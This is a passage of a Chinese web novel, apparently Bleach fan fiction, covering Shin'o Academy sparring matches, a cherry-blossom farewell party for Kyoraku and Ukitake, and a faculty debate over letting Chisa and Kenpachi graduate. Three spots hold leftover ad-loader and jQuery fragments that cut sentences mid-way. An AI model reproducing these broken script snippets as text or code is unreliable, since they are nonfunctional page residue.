“柴田老师,请您安静,战斗开始了。” 这是一场出人意料却又在情理之中的战斗——京乐春水输了,而且输得毫无还手之力。 “诶?诶诶诶——?” 若月千纱的眼珠子都快从眼眶里掉出来了。 说好的实力出众呢?就这?就这?真央灵术院学生中数一数二的战力,看起来好像只比她强那么一点点?这说得过去吗? “阿拉阿拉,你那是什么表情?我早就和你说过,不要对我的实力抱有太大的期望啊。啊,谢谢。” 若月千纱一边替他包扎伤口,一边发出质疑的声音:“前辈放水了?” “没有,你看到的就是我能展现出来的全部实力。我说啊,别因为身边有你弟弟这种小怪物,就擅自认为别人也这么强。像他这么有天赋的人,在整个尸魂界都找不到几个呢。” “——不对!你的斩魄刀出鞘后变形了,你一定掌握了斩魄刀的始解!据说每一把斩魄刀都有属于自己的始解能力,你刚才根本没用!” 更木剑八直勾勾地盯着坐在地上的京乐春水:“你没用全力?站起来,我们再打一回!” “等等!我不用始解能力是有原因的。我的斩魄刀始解能力比较奇特,用了会死人啊。我只是答应和你们打一场,没想把自己的性命搭进去。如果能用,我刚才就用了,谁会因为怕麻烦宁愿被人狠狠地砍几刀啊。” 柴田木原点头:“他从未在别人面前展示过始解能力。” 他的话相当于佐证。 始解能力千千万,属于京乐春水的恰巧是极其特殊的一种,也不奇怪。 若月千纱安抚住更木剑八,蹲在京乐春水身旁,戳了戳缠在他身上的绷带:“京乐前辈,看你伤得不轻,我们的对战改期吧。” 见识过京乐春水的战斗后,她发现自己没必要捡便宜——被限制最厉害的手段后,他不过比她更厉害一些而已,就算不动用小手段,她也未必赢不了。 毕竟,胜负不是那么简单的事情,不是谁表面上的战力值高就能够获胜,特别是在两人实力相差并不悬殊的情况下。 她能靠设局一举翻盘赢过柴田木原,何尝不能赢过京乐春水? 他固然比她强,但她摸清了他的战斗方式,而他却对她一无所知,这是足以让战局颠倒的一大优势。 “不,我没事了。这种麻烦事,越快解决越好。我们开始吧。” 京乐春水站了起来。 “诶——这样不好吧。你都伤成这样了,使不出全力吧?我的实力不比前辈弱很多哦,万一输给我,前辈不会觉得没面子吗?” “没关系。那个……”京乐春水瞟了眼更木剑八,凑近她,和她咬耳朵,“我的伤口只是看起来严重,其实伤得不深,没伤到骨头筋脉。” “哦~我懂了。”若月千纱意味深长地看了他一眼,“好吧,既然前辈不介意,我没意见。京乐前辈,来吧!” 第二场战斗开始。 这同样是一场出人意料却又在情理之中的战斗——若月千纱输了。 “不是,为什么会这样?”若月千纱傻眼,“我为什么会输?” 京乐春水不是厌恶战斗吗?他的武艺怎么会这么高强?这个平日里举止轻浮慵懒的家伙,为什么在战斗中心思缜密又洞察秋毫,浑身上下没有一丝破绽? 在和剑八的战斗中,他表现得明明没有那么强……啊,对了,他全程被剑八压制着打,估计很多本事都没有施展的机会,她收集到的情报有误! 另外—— 若月千纱一脸狐疑:“柴田老师,您是不是不小心泄密了?” 她打不过京乐春水,最后还是掏出了压箱底的本事。可京乐春水压根没上当,一副早有预料的表情,轻轻松松地就破解了她的鬼道! “我没有。”柴田木原举起双手做无辜状,“真的。” 他等着看京乐春水和他一起掉陷阱里呢,怎么可能做出那种破坏自己兴致的事情? “那——” “你指的是你会鬼道的事情吗?我事先完全不知情。不过,你们表现得太明显了。我猜,你前几天和柴田老师对战过了吧?你的气色不好是失血造成的,闭关修行是养伤的借口。不过,你们不肯告诉我,一个一脸看好戏的表情,一个一副使坏的模样,我只好多防备几分了。” 若月千纱一个激灵,身体抖了抖。 好家伙,好家伙,原来你是这样的京乐春水! 他看穿了他们的把戏,却不动声色,在她亮出底牌的时候反将一军,彻底毁去她的最后一丝胜算! 哎哟,她上次竟然能在他身上坑骗到一个赌注,太不容易了吧! “恭喜你学会鬼道。”京乐春水向若月千纱道了一声喜,转头向柴田木原挤眉弄眼,“你输了?” “瞒不过你小子呐……喂,你干什么?别过来,我不想和你打了!啊啊啊,别追着我砍啊——” “你和千纱打过了,轮到我了。” “我只答应若月和你们各打一场!我们已经打过了!打过了!若月,快管管你弟弟!” 看着更木剑八把柴田木原追得满场乱跑,若月千纱捂着嘴笑:“没错,您已经兑现了您的赌注。不过,现在已经不是我们之间的事情了,而是您和他之间的事情。您不是拿他当朋友吗?他想和朋友玩闹,我管不着。” “谁把他当朋友啊?才没那种事呢!你耍赖啊——” “哼,嘴硬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。你不把他当朋友的话,我的初级鬼道是怎么来的?”若月千纱小声嘀咕了一句,没理会他,转头看向京乐春水,“谢谢前辈。那个,前辈最好去治疗室一趟吧,之前的伤口都崩裂流血了。不把它们治好的话,容易被人追问。” 京乐春水低头看了眼被血浸湿的绷带,点了点头:“我们一起?” “不用了,我身上只有一两处小伤,用不着麻烦医师——前辈总是点到为止,只划破了一点点皮肤呢。”若月千纱盈盈笑着,两个小酒窝特别甜蜜,“那个医师的回道特别厉害,前辈马上就能痊愈啦!” 京乐春水一脸歉疚:“抱歉,不该在女孩子身上留下伤痕的。” “战斗里分什么男女?只分强弱!我想要的是全力以赴的战斗,你下手轻了,还留有一分余力呐。” “你不是真正的敌人嘛。” 京乐春水和若月千纱聊了几句话,先行离开。 若月千纱目送他远去,冲着他的背影做了个鬼脸。 点到为止?怜香惜玉?和她战斗时没用全力对吧? 虽然知道京乐春水只是性格使然,并没有轻视她的意思,但她还是觉得有点不爽。 哼哼,祝你被医师多念叨几句! “若月,你弟弟还给你!再见!” 柴田木原一个瞬步,风一般从若月千纱身边一闪而过,抢在京乐春水之前逃离训练室。 若月千纱看着他转瞬而逝的背影,下了定论:“……想逃跑的话早就能逃走了,你果然是在逗剑八玩吧。” 剑八跑得再快,速度也没办法和炉火纯青的瞬步相媲美啊。 她抓住更木剑八:“别追了,你追不到的。我和他有言在先,没办法帮你拦住他。我知道你对瞬步兴趣不大,不想在它身上花时间。但是,捕猎需要速度,猎手的速度怎么能比猎物慢呢?跟我一起练习瞬步吧。等你练好瞬步后,以后你的对手就逃不掉了。” 更木剑八定定地看着训练室出口,半晌后应道:“好。” “哟西!总算说服你了!柴田老师,你功不可没,谢谢啦!” 顺利逃离的柴田木原突觉一阵恶寒,警惕地往身后扫了几眼,不解道:“没跟上来啊?” 他不知道,他的存在为矫正某人的偏科做出了巨大贡献,无意中履行了教师职责,将人引入正途,真是可喜可贺、可喜可贺! 不过,在不久后的将来,他就领受到了“福报”,时常被更木剑八追着满校园跑,成为校园里独一无二的亮丽风景线。 更木剑八的瞬步不算精妙,更不具备小范围内的瞬步技巧。他的瞬步唯有一个字可以形容,那就是——快! 为了躲避更木剑八,柴田木原的瞬步造诣因此与日俱增,还被任教瞬步的同僚打趣,说他差点抢了自己的饭碗。 若月千纱对这个结果喜闻乐见,在一旁吃瓜看戏,乐不可支:“这可真是互惠互利的好事啊!剑八有了玩伴,柴田老师多年不变的实力也得以上进。” “哈哈,说的对。” 有人突然出声附和了她的话。 “是京乐前辈啊。”若月千纱听音辨人,笑着转头看他,“你也来看热闹吗?……哦呀,浮竹前辈也在啊。” 49.第四十九章 只见一个俊秀挺拔的少年站在常年不修边幅的京乐春水身边,白色短发,衣冠整洁,看起来文质彬彬,略有些病弱感。 他温和一笑,回以招呼:“若月桑。” “前辈又忘啦,叫我若月就行了。啊,叫千纱也可以,只要别学京乐前辈叫什么千纱酱就好。” “叫千纱酱多可爱啊。” “不要,我拒绝,太肉麻了。前辈还是像以前那样喊我若月吧。” “诶?叫千纱也不可以吗?” 若月千纱勉为其难地点了点头:“唔……行吧。” “答应得太勉强了吧。” “谁让前辈坏心眼,明知道我不喜欢那个称呼还一直故意捉弄我呢。浮竹前辈,听说你们过两天要去现世完成魂葬实习任务了?” 浮竹十四郎微微一笑:“是,这是毕业前的最后一个课程。从现世回来后,我们就要毕业了。” “真好,你们再过不到1年就能毕业了,好羡慕呀~” 京乐春水脸一垮,愁眉苦脸道:“我才羡慕你呢。你还能留在学校四年多,我马上就要去做牛做马做任务了。等毕业后……唉,想想都觉得麻烦。” “如果我们能对调一下该多好。” “是啊。” “唉——” 两人齐齐叹气。 “别急,四年多的时间转眼就过去了。若月,好好享受校园生活哦,我会从现世给你带礼物回来的。” “是——谢谢前辈!” 他们停下来聊了一会儿,便离开了。 若月千纱和他们挥手道别,直至两人走远,才放下手,叹气道:“唉,我的跳级计划啊……浮竹前辈这么好,让人怎么好意思说出口哟——” 她和浮竹十四郎是在一年多前通过京乐春水相识的。 当时,她动了歪脑筋,想利用他促成跳级计划,早日离开真央灵术院解决身上的大麻烦。 然而,认识浮竹十四郎后,她犹豫了。 浮竹十四郎不慕虚荣、不爱名利,性格温柔善良、踏实认真,跳级提前毕业对他来说毫无意义甚至有害无利。 怂恿一个脚踏实地的老实人提早毕业、提早进入战场? 了解到他的为人后,若月千纱为数不多的良知竟然觉醒了。 “那种人信念坚定,怂恿不来的,何必浪费时间做无用功呢?再说了,我和系统已经绑定了数十年,不差这五六年时间。” 她找了几个借口,搁置了计划。 当然,放弃计划的最大理由,还在于她本身——发现系统有问题时,她的心灵受到极大的冲击,情绪不稳,火急火燎地想要解决问题。但过了一段时间冷静下来后,她理智地分析现状,有了不同的想法。 系统固然限制了她的成长,但从另一种角度思考,它对她的助益更大——相较于她的同学,她的实力明显更强。她只要完成一个任务,就能超越别人长年累月的训练结果。 说不定,系统其实对她没有恶意?回想一下,系统发布的所有任务都是正面的,没有任何一个带有负面影响。她对系统的警惕是不是多余的呢? 放开思路后,她的心情不再迫切。在浮竹十四郎的事情上,她也能很快放手。 当然,如果有机会跳级,她还是会抓住机会。无论系统是好是坏,她都希望和它解绑,不再心存顾忌。 她不是靠系统奖励金手指加身就躺平的咸鱼。这么多年来,她一直勤学苦练,不曾懈怠。她坚信,就算没有系统,她也能功成身就,靠自己的力量爬上巅峰! “嘛,就算浮竹前辈真的帮我铺好了路,想要跳级也没那么简单。首先,我得具备相应的条件呀。斩魄刀啊斩魄刀,你究竟叫什么名字呢?快点呼唤我吧!”若月千纱抚摸着腰间的浅打,屈起食指弹了它一下,“小懒虫,该起床啦!” 她抽出浅打,刀刃离鞘后仍保持原样,并未变形。 很显然,这把浅打还未向斩魄刀转换,更别说为现实的魂魄举行魂葬,不具备完成死神最基本工作的资格。 这样的她,怎么可能被获准跳级,提前毕业呢? “不要让我久等啊。”若月千纱把嘴唇轻轻印在冰冷的刀身上,“快点醒来吧,我的斩魄刀。” 她不希望心中那股强烈的不祥预感化为现实呐。 可惜,直至京乐春水和浮竹十四郎从现世归来,她的斩魄刀仍沉睡着。 不止她,更木剑八的浅打也不见变形。更惨的是,他在学校里一直找人挥刀对砍,坚硬的浅打刀身上逐渐出现一个个小豁口,看起来破破烂烂的。 柴田木原打趣他说:“你这么不珍惜武器,难怪你的斩魄刀一直不肯告诉你它的名字。你把它的寄身之所搞成这样,它生气了。” 更木剑八一脸的无所谓:“我不在乎它的名字,浅打够用了。你有月辉,不也打不过我。” “喂!” “童言无忌,童言无忌。剑八,不要瞎说大实话,会伤到某人的自尊心的。想想当初,某人轻轻松松就能把你放倒,现在却赢得勉强。这才不到两年时间啊!某人的心都碎成一地陶瓷渣啦!” “喂,你说得更过分好么!” “哈哈哈——不说这些了,我找您有正事。京乐前辈和浮竹前辈过几天就要毕业了,我想为他们举行一场饯别宴。” “理应如此。不叫上佐藤吗?” “当然要啦!我只是先来找您商量嘛。” 两人凑在一起嘀嘀咕咕,更木剑八坐在一旁听着,打了个大大的呵欠。 几日后。 毕业典礼一结束,京乐春水和浮竹十四郎走到礼堂门口,就看到若月千纱朝他们挥手。 “京乐前辈,浮竹前辈——诶?你们不用上交浅打吗?” 她的视线扫过从身边走过的毕业生们空荡荡的腰间,好奇地瞟了瞟例外的两人,他们的浅打都好端端地挂在腰上。 “我们加入护廷十三队了,不用归还浅打,日后直接把它带进队里。” “真麻烦,还是没能躲过这一劫。”京乐春水挠了挠脸,“我讨厌工作。” “呜哇,前辈们好厉害,还没毕业就被护廷十三队看中了!你们进了同一个番队吗?” “不,京乐去了八番队,我去了十三番队。” “什么,负责现世执行魂葬与净化虚的十三番队!?”若月千纱担忧地看着他,“前辈很强,但是……那不是很危险吗?” 更何况,他还体弱多病呢! “没关系,这是我自己选择的路,保护和平、维持秩序是我应尽的职责。而且,现世没有你想象得那么危险,极少诞生大虚,等你到现世实习时就知道了。” 若月千纱有些失落:“可是……前辈以后要驻守现世,我们是不是很难见面了?” 和浮竹十四郎的相处总是让她如沐春风,她舍不得这个朋友。另外,她还想多看看他那张俊秀的脸养眼啊! “或许吧。不过,总会有见面的机会。” “我呢?你没什么话想对我说吗?” 京乐春水嬉皮笑脸地凑向若月千纱,扰乱了她的一怀忧思。 “八番队负责收集情报,很适合前辈啊!你那么敏锐缜密,一定没问题的!完全不用我担心!” “啊,嗯,千纱酱,你这是偏心吧?不能区别对待,我也需要你的关怀。” “呃,前辈又那样叫我!不过,看在今天是特殊日子的份上,这次就算了。”若月千纱宽容大度道,“觉得偏心吗?那个……对了,前辈以后得控制酒量,免得醉酒后不小心弄错情报!” 浮竹十四郎扑哧一笑,有趣地看着同窗好友。 “……你还是偏心一点吧。” “啊,怎么就聊起来了?两位前辈,我是来找你们参加饯别宴的!和我一起来吧!” 若月千纱一边一个,拉着两人的手腕向目的地跑去。 京乐春水和浮竹十四郎身不由己,被她拖着跑。 “饯别宴?” “嗯,我们一起准备的,剑八、柴田老师和佐藤老师都在。” 小小的饯别宴设在盛开的一片樱花树下。柴田木原等人坐在树下铺开的一大块布上,微笑着向他们招手:“快来!” 在他们中间,摆放着几瓶清酒和几个盃。 三人在布上坐下,斟上酒,和另外三人一起举起酒杯。 “京乐,浮竹,恭喜你们毕业!” “祝你们一路顺风,前程似锦!” “京乐前辈,浮竹前辈,毕业快乐!” “你们要变得更强,我以后会去找你们的!” “谢谢各位,不过,战斗邀请就算了吧。” “哈哈哈——” 六人举杯共饮,一边赏樱一边畅聊。 落英缤纷,美不胜收。樱花花瓣从枝头飘落,打着旋儿落在盃中,更添一番趣味。 更木剑八不喜杯中酒的滋味,喝完一杯后就把盃丢在一旁,抬头看落樱。 五人不以为意,笑着看他一眼。 几杯酒后,浮竹十四郎起身,歉然一笑:“抱歉,我得离席了,我和其他朋友有约。” “啊,我刚才硬拉你过来,是不是打乱了你的安排?抱歉啦。”若月千纱意识到自己刚才的做法不太妥当,向他道歉,“不过,麻烦你再给我们一点时间。” 她说完这句话,身体一动,从原地消失,须臾后回到原地,手上捧着两个精心包装的礼物盒:“喏,祝贺你们顺利毕业。这是我的小小心意,请收下。” 她把正方体的大礼物盒递给浮竹十四郎,把长方体的小礼物盒送给京乐春水。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两人没想到会收到毕业礼物,愣了一下,各自接过礼物。 “谢谢。我能拆开吗?” “请便。” 浮竹十四郎把沉甸甸的礼物盒拆开,里面是一盆精心照料过的漂亮盆栽,一眼就能看出送礼者的心意。 他又是惊喜又是感动:“谢谢,我很喜欢。” 若月千纱眼睛一弯:“你能喜欢,我很高兴。” 京乐春水没有急着拆开礼物,在一旁看着浮竹十四郎拆出盆栽,眼珠一转,掂了掂手上轻飘飘的礼物盒:“投其所好吗?送给我的会是什么东西呢?” “我觉得很适合前辈的东西。” “是吗?那我就好好期待了。” 京乐春水拆开礼物盒,入目的是一片樱色的布料。 “这是?” 他捏起布料一角,抖了抖,樱色的布料铺展开来,和半空的落樱融合在一起,不分彼此。 那是一件缝制着各色樱花刺绣的樱色羽织,针脚细密,图案精致。 京乐春水眼睛一眯,穿上羽织:“好看吗?” “哇,好看!”若月千纱捧场地鼓起掌来,“我真是好眼力!超适合前辈呢!” 樱色的布料一般适合做女子的和服,但若月千纱一眼便看中了它,觉得它和京乐春水的气质很搭,特意找裁缝将它裁成羽织,并绣上他喜爱的樱花。 果不其然,这件花哨的羽织穿在京乐春水身上,竟一点都没有违和感,反倒衬得他风流倜傥,有一种不流俗的潇洒。 “很合身呢。” “不错不错。” 其他几人不吝夸赞。 他们也把藏起来的礼物送给两人。 浮竹十四郎又拆出一盆盆栽,两盆盆栽…… 众人面面相觑,全都笑开了。 浮竹十四郎喜好单一,众人皆知,故他们都送了同样的礼物。 好在那些盆栽种类不一,倒是没有重样的。 京乐春水倒是收到了不同的礼物,有酒和酒具,还有一个大枕头。 更木剑八见所有人都送了礼物,跳到樱花树上,折下两支樱花枝递给他们,收获两记摸头杀。 浮竹十四郎抱着三盆盆栽和樱花树枝先行离去,京乐春水则留下来和他们继续饮酒。 或许那件樱色羽织十分对他胃口,京乐春水并未将它脱下,席中一直穿着它。 若月千纱再次肯定了自己的眼光。 天下没有不散的筵席,这场饯别宴终将走到尽头。 临别前,他们纷纷送上祝语,若月千纱也不例外。 她没有区别对待,复制粘贴了之前对浮竹十四郎说的话:“前辈,未来任务艰巨,请务必保护好自己,万事小心,平安第一!” 京乐春水懒洋洋地点头:“放心,我知道,工作什么的不重要,我才不会以身犯险呢。” “这让人既安心又不安心的微妙发言是怎么回事啊!”若月千纱吐槽,“把收集情报这么重要的事情交给你,真的没问题吗?” “嘛,这谁知道呢?”京乐春水事不关己般一摊手,“应该没问题吧,要不队长为什么挑我?” “对自己有点信心啊喂!” “哈哈哈。” 饯别宴散了。 若月千纱看着渐行渐远的京乐春水,喃喃自语道:“以后只剩我们三个一起喝酒啦。” 柴田木原竖起大拇指:“别担心,我会再从新生中挑个能喝酒的抓过来,让小酒会热闹起来!” 佐藤俊川巴了他的脑袋一掌:“够了啊,别再祸害新生了。” “嘿嘿。” 待佐藤俊川也离开后,柴田木原敞开了话说:“若月,你要不要再交个朋友?难得的两个朋友都毕业了,你会觉得孤单吧。” “交朋友?算了吧。我又不是浮竹前辈,才不想勉强自己去结交看不上眼的朋友。您不是清楚我的坏毛病嘛。” “知道是坏毛病就改改吧。这都什么破毛病,实力得到你认可的人才愿意交朋友?在这方面,你和你弟弟简直是一个模子里印出来的。” “没办法啊,在流魂街流浪了太久,这个坏毛病早就深入骨髓了。您不用替我操心,我确实不舍得他们离开,但我并不觉得孤单,这不是还有剑八和您嘛。” “你……你……我说啊,你能不能不要学京乐说话?怪让人害羞的。” “害羞?您脸红了?哪里哪里,让我看一下!” “谁脸红了!离我远点!” “真的有点红呢——剑八你快看,我说的对不对?” “嗯。” “笨蛋,那是被你气红的——!” “哈哈哈哈哈……” “不准笑了!” …… 时间飞逝,一眨眼便过去四年。 50.第五十章 真央灵术院会议室。 学校决策层的领导们围坐在会议桌旁,神色端肃,正在讨论一件重要事情。 “更木剑八,六年级,灵压:副队长级别,白打:超凡,瞬步:优秀,斩术:不合格,鬼道:不合格,瀞灵廷历史及死神必备知识:不合格,斩魄刀:未成形,战斗力:副队长级别;若月千纱,六年级,灵压:准低级席官级别,白打:优秀,斩术:优秀,瞬步:优秀,鬼道:优秀,瀞灵廷历史及死神必备知识:优秀,斩魄刀:未成形,战斗力:准低级席官级别。关于以上两个学生的毕业问题,各位有什么看法?” “按照校规,各科课程合格、且必须掌握斩魄刀的学生才能予以毕业,由学校推荐给护廷十三队成为死神,其余学生则以结业处理,自己寻找未来的门路。这两个学生不符合毕业要求,应当遵循旧例,只予以结业。” “你听到没有,他们虽然没达到毕业要求,但都具备极其突出的优势,而且战斗力都很强!比他们弱那么多的学生都能毕业,他们为什么不行?” “国有国法,家有家规,想要维持秩序,必须严格遵守规则!延续了上千年的校规不可以为他们两个人破例!没达到毕业要求的人当然不能予以毕业!” “规矩是死的,人是活的,我们可以修改校规!我们学校立志培养优秀死神,他们难道不优秀吗?他们可是副队长级别和准低级席官级别的超优秀人才!你们难道要眼睁睁浪费这等战力,让他们虚度大好时光吗?他们明明能为瀞灵廷做出无数奉献!” “解放不了斩魄刀的人没有资格被称为死神!他们连死神最基础的魂葬工作都完成不了!” “死脑筋!特殊情况就该特殊处理!你知道他们的战力能顶得上多少个普通死神吗?按照校规能够毕业的这一届学生,所有人加在一起都打不过他们两个!” “战斗力再强也不能成为破坏校规的理由!为了区区两个学生就想修改校规,你们把学校的权威置于何地!” “他们不是区区两个学生,而是百年难得一遇的天才!他们值得我们这么做!死板的校规不该耽误他们的未来!” 校规至上派和实力至上派的两拨人的观点从根本上完全对立,无法调和,吵得脸红脖子粗,唾沫乱飞。 与会者中还有一两个摇摆不定的墙头草派。见两拨人争执不下,其中一人弱弱地提出建议:“要不折中一下,让他们一直留在学校,等到符合毕业条件后再毕业。这样岂不是皆大欢喜?” “万万不可!不能把那两个四处闯祸的家伙留在学校!……咳咳,校规规定,每个学生只能在校学习六年,六年后要么毕业,要么结业,不可破例!” “什么破主意!假如他们一直掌握不了斩魄刀呢?你打算让他们在学校荒废一辈子吗!?” 两拨人难得统一了战线,一致否决他的离谱建议。 而后,他们又把矛头指向对方,互不相让地争吵起来。 “你挟带私怨,刚才都说漏嘴了!” “我不否认私下对他们有怨言,但我发誓,我现在的发言没有掺杂半点私心,问心无愧!” 校长作壁上观,听两拨人争执许久后,双手一击掌:“安静!” 嘈杂的声音瞬间消失。在校长的一声令下,所有人顿时噤声,齐齐别过头看向他,做出聆听的动作。 校长开口道:“站在你们各自的立场上,我觉得你们说得都很有道理。无论是学校的规矩,还是学生的未来,这两者同样重要。不如这样,你们各自退让一步——” 他提出新的方案。 “我反对!这么做不合规矩!而且——” “而且什么而且,你说,校长提的方案有哪一点违背校规?你们有什么权利反对?嗯?校长,我们同意这种处理方式!” “这个……那个……这个……好像没有……好吧,我们也……同意。” 校规至上派挑不出毛病,不情不愿地同意了。 两拨人终于达成一致意见。 剩余的墙头草自然是风向往哪边吹,他们就往哪边倒。 校长的提议全票通过。 “好,那就这样决定了——” 若月千纱前些年胸有成竹地打算跳级,没想到自己非但没有跳级,还面临无法毕业的难关,甚至反向冲刺,差点成为史无前例的留级先锋。 她拿着毕业成绩单的手在颤抖—— 完蛋了完蛋了,一连串的优秀成绩有什么用?她的斩魄刀至今未成形,出于这个原因,甚至没能和同期一起前往现世实习。她毕业得了吗? 前几年的雄心壮志化作一个个巴掌,狠狠地拍在她的脸上。 呜呜呜,她的脸好痛啊—— 她看向身边没把考试成绩当一回事的更木剑八。 他的成绩单比她更惨烈,除了和她同病相怜的问题外,还有三个明晃晃的“不合格”字样,看起来触目惊心。 然而,她并不觉得更木剑八毕业不了。 副队长级别的灵压、副队长级别的战斗力,她弟弟怎么就这么天才呢! 要知道,偌大的尸魂界中,属于队长级别的死神仅有十三位。更木剑八是副队长等级,就算加上不世出的无名高手、已经退位隐居的前队长及前副队长,他的实力排行应该也掉不出前百! 如果连这种天才都毕业不了,那这个号称死神培育机构的真央灵术院岂非是个笑话? 再怎么顽固不化的旧教条都得给绝世天才让步! 若月千纱对自家弟弟信心满满。 她忧心忡忡地盯着成绩单看个不停,手指不由得蜷缩起来,把成绩单抓得皱巴巴的。 都熬到了毕业,更木剑八绝对会加入护廷十三队,去和虚们厮杀,享受战斗的快感。 那她呢?她该何去何从? 没有学校的推荐,她想加入护廷十三队不是件易事——护廷十三队并非想来就来、想走就走的地方,就算她实力达标也不能轻易踏足,隶属于那个地方的死神没有时间去搭理一个名不见经传的只能结业的非死神。 难道说,她要舍下脸皮,借剑八或柴田老师、京乐前辈、浮竹前辈的关系去乞求一个机会?还是干脆回到流魂街,当一个万事不愁的山大王? 不!见识过井外的风景后,她如何甘愿回到井底?更何况,她也想去战斗! 另外……流魂街和瀞灵廷是不同的两个世界,她不想失去和弟弟以及朋友们的羁绊,此生再不相逢。 她不愿沉沦,也不能沉沦! 若月千纱握拳:“面子有什么重要的?就算被人嘲讽靠裙带关系入队,我也非要加入护廷十三队不可!” 她的决心只维持了不足一个时辰,事情便迎来了转机。 “什么?校长要见我和剑八?”若月千纱听完充当传令兵的老师的话,情不自禁地瞥了眼更木剑八,诧异地指着自己,“不只是剑八,还有我吗?” 她得到了肯定的答复:“没错。你们跟我来。” 若月千纱拉着更木剑八跟上传令兵的脚步,走在去见校长的路上。 她能猜到校长想见更木剑八的理由,不外乎就是特许他毕业的事情。但是,校长找她做什么? 准低级席官在每一个番队内一抓一大把,她的实力也就这样,还是无法使用斩魄刀的瑕疵品,不足以让学校破例吧? “那个老头为什么找我们?”更木剑八一脸不爽,“我最近没和人打架,他们都不肯和我战斗。” 他们和校长并不陌生,私底下见过几次——他们屡屡闯祸,闹得学校鸡飞狗跳。偶尔闹的动静太大,上达天听,便被拎到校长室挨一顿训斥,和校 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 长混了个脸熟。 若月千纱朝闻声扭头的老师露出尴尬而不失礼貌的笑容,轻轻地拍了一下更木剑八的脑袋:“注意礼貌,别乱称呼,要叫校长!至于他这次找我们的原因,去了就知道。” 更木剑八的话点醒了若月千纱,她猜到校长为什么要找她了——他每次犯事后屡教不改,依旧我素我行,不像她知错就改,没再把事情闹到明面上。校长一定是看剑八不懂事,才特意找来她这个监护人旁听! 她失算了。 “什么?剑八不能毕业?” 有没有搞错?他可是副队长级别的战力耶!而且,在学生普遍年纪上百的学校里,他连年纪都独树一帜!这种年纪轻轻的超级天才,竟然不能顺利毕业!? 若月千纱一脸荒谬地看着校长,险些兜不住心里话。 至于她不能毕业的事,她早有预料,倒是一点都不惊讶。 “听我说完。”校长无奈地看着激动地打断他的话、把“这个学校迟早要完”的表情堂而皇之地挂在脸上的学生,“毕竟没有前例可循,学校不能随意开先河。不过,我们会给你们一个机会。” “什么机会?” “一个结业但能进入护廷十三队的机会——你们告诉我你们想要去哪个番队,我以个人名义把你们推荐给那个番队的队长。至于他/她愿不愿意收你们,我无法插手,就看你们的个人造化了。” “真的!?”若月千纱不敢置信,眼睛瞪得溜圆,“直接推荐给队长?不是普通的推荐流程?” 只要在真央灵术院就读,无论最终是毕业还是结业,学生们不曾被区别对待,都享受到了同样的教育。他们一心想要毕业,难道仅仅只是为了面子上的那份荣誉吗?不,他们看重的是毕业后学校给的护廷十三队推荐名额! 若能越过普通流程直接被校长推荐给队长,谁还在乎明面上是毕业还是结业? 校长亲自举荐的人才,能差吗?管他什么身份,谁不高看两眼? 若有幸得队长青眼,被队长看重,完全可以跳过普通死神所需经历的基层历练,飞黄腾达!就算一时不够突出,也能在队长面前刷个脸,留下些微印象,对日后的职业生涯大有裨益。 这可是不可多得的机会,实实在在的好处呐! 锥处囊中,其末立见。可是,上位者有空一直盯着袋子看吗?当然没有。想让他们发现锥尖,需要一定的时间。更木剑八厉害归厉害,却未必拥有立即出头的好运。 校长给剑八搭建了一条通往成功的捷径啊! 见校长点了头,若月千纱喜不自胜,开心地拍了拍剑八的胳膊,声音雀跃:“剑八,快点谢谢校长!” 凭剑八的本事,但凡队长有点眼力见,绝对不会埋没人才!她家弟弟百分百能进护廷十三队,并且——一步登天! 她家剑八果然是最棒的! 若月千纱自豪地挺直了胸膛。 更木剑八从神游中惊醒,歪了歪脑袋:“什么?” 若月千纱早已习惯他时常在状况外的反应,掐头去尾地问道:“你想进入护廷十三队里的哪个番队?” “最经常战斗的!” “那就是坚守在第一线,专门负责战斗的十一番队了。剑八,校长给你机会,让你直接进入十一番队,你快说谢谢!” 更木剑八不明就里,鹦鹉学舌道:“谢谢。” 校长苦笑:“等等,别谢我,我可没保证他一定能加入十一番队。” 据说十一番队里的死神个个都是战斗狂,信奉实力至上。她家剑八进不去十一番队?笑话! 若月千纱看着更木剑八,露出笃定的微笑。 “好吧,他确实有实力成为十一番队的队员。”校长顺着她的视线看向更木剑八,目光在他身上停驻片刻,重新看向她,“那你呢?” 51.第五十一章 若月千纱愣了一下,歪了歪脑袋:“我?” 什么意思? 这反应和更木剑八之前的表现如出一辙,把校长看笑了。 “你想要我把你推荐给哪个番队?” “啊?”若月千纱呆若木鸡,食指指尖对准自己,声音上扬了几度,“您……这是在问我?” “是啊,我刚才说过,要给你们一个机会。你们指的是他,和你。” “……不可能吧,就我这点实力,甚至不是低级席官,怎么可能获得额外的机会?” 校长十分意外:“你好像觉得准低级席官级别的实力很弱?” 他之前见过她两三回,对她有点印象。这个女孩是个小滑头,她弟弟闹事的背后总有她一份“功劳”。只不过,她做事比较低调,明面上又装得乖巧,让人难以揪出她的狐狸尾巴。那点小把戏瞒不过他的眼睛,所以他每次训斥她弟弟时,都会把她一起捎上。 没想到,她的自我评价竟然那么低。也难怪,有个用天才来形容仍略显不足的弟弟在身边,时常被人拿来比较,她不自卑也难…… “当然!一个番队里有足足二十个席位,而准低级席官甚至坐不上末把交椅呢!” 是他错了。 她只是习惯于将视线投向更远处,根本不在乎落后她的人有多少个。她永远只盯着前方,只看向比她强的人,所以才觉得自己弱小。这份心气,怎能说是自卑呢? 校长失笑:“你知不知道一个番队里排不上席位的普通队员有多少个?” 若月千纱从未关注过这方面的事情,当然不知道。不过,她会计算。 “听说真央灵术院每年招收的学生人数不等,多则数百,少则几十。每届成功毕业的学生大约只有六七成,分配到十三个番队后,扣除掉每年离职和殉职的死神,再叠加上年数……嘶——” 若月千纱倒抽一口冷气。 不算不知道,算了吓一跳。 真央灵术院每年的毕业生分摊到十三个番队后,每个番队不剩几个。但死神的生命格外漫长,但凡不死不残,活跃期少说也有一两百年。毫无疑问,长年累月下来,每个番队都拥有庞大的队伍。 准低级席官位列番队的二十名之后,却凌驾于无数死神之上。 ……这样一算,她好像并不弱? 若月千纱掰着手指算了下,心中豁然开朗。 “每个人的灵压上限不同,这是天生的局限。无数死神终其一生,都爬不到你这个高度。你很优秀,学校为你破例,自然是因为你值得让学校破例。若月同学,说吧,你想去哪个番队?” 这个问题需要犹豫吗? “当然是十一番队!” 校长看了看她,又看了看更木剑八。 